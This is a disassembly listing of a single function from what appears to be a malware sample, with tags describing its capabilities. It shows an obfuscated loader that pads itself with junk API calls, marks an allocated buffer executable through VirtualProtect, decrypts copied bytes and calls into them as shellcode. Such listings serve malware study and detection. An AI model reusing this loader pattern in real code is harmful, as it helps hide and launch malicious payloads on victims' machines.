Function at 0x40247d
Capabilities:
Allocate or change rwx memory
Enumerate gui resources
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk size
Get hostname
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1038
call fcn.0040ba40
push ebx
push esi
push edi
xor esi, esi
xor edi, edi
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
push esi
call ebx
cmp edi, 0x207138
jg 0x4024ab
inc edi
cmp edi, 0x4f672
jl 0x402491
cmp dword [0x47c26c], 0x93
jne 0x402549
push esi
call dword [sym.imp.USER32.dll_CloseWindow]
push esi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesA]
push esi
lea eax, [ebp - 0x38]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharacterPlacementA]
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
push str.Xuh_luladax_hogoligewifemaw_ciranir
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
push esi
push esi
call fcn.004029b7
pop ecx
pop ecx
call fcn.0040246f
push esi
call fcn.00402f21
push esi
call fcn.00402f30
pop ecx
pop ecx
push esi
call fcn.004031c2
mov eax, dword [0x4752d8]
add dword [0x47c26c], 0x1134b
push str.kernel32.dll
mov dword [0x47d0a8], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.VirtualProtect
push eax
mov dword [0x47bcfc], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x47c26c]
mov dword [0x47bcf0], eax
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [ebp - 8]
push ecx
push 0x40
push dword [0x47c26c]
mov dword [0x47bcf8], eax
push eax
call dword [0x47bcf0]
mov edi, 0x1692e
push esi
call ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
dec edi
jne 0x4025a8
cmp dword [0x47c26c], esi
jbe 0x402611
mov eax, dword [0x47d0a8]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x47bcf8]
mov byte [ecx + edi], al
cmp dword [0x47c26c], 0x490
jne 0x402608
push esi
push esi
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push esi
push str.Sekolunohulafa
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrA]
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLCID]
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
inc edi
cmp edi, dword [0x47c26c]
jb 0x4025bc
xor edi, edi
mov eax, dword [0x47c26c]
add eax, edi
cmp eax, 0x8d
jne 0x402632
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
inc edi
cmp edi, 0x38681
jl 0x402613
mov eax, dword [0x47c26c]
mov ecx, dword [0x47bcf8]
shr eax, 3
cmp eax, esi
jbe 0x40268a
mov edi, ecx
mov ebx, eax
cmp dword [0x47c26c], 0x959
jne 0x40267e
push esi
lea eax, [ebp - 0x838]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatW]
push esi
lea eax, [ebp - 0x1038]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointW]
push edi
call fcn.00401007
add edi, 8
dec ebx
jne 0x402651
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp edi, 0x62
jne 0x4026ab
mov dword [ebp - 4], esi
add dword [ebp - 4], 0
mov eax, dword [ebp - 4]
add dword [0x47bcf8], eax
inc edi
cmp edi, 0x674db
jl 0x40268c
push 0x7b
pop edi
cmp dword [0x47c26c], 0x86
jne 0x4026db
push esi
call dword [sym.imp.KERNEL32.dll_GlobalHandle]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CommConfigDialogW]
dec edi
jne 0x4026b7
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x47bcf8]
pop edi
pop esi
pop ebx
leave
ret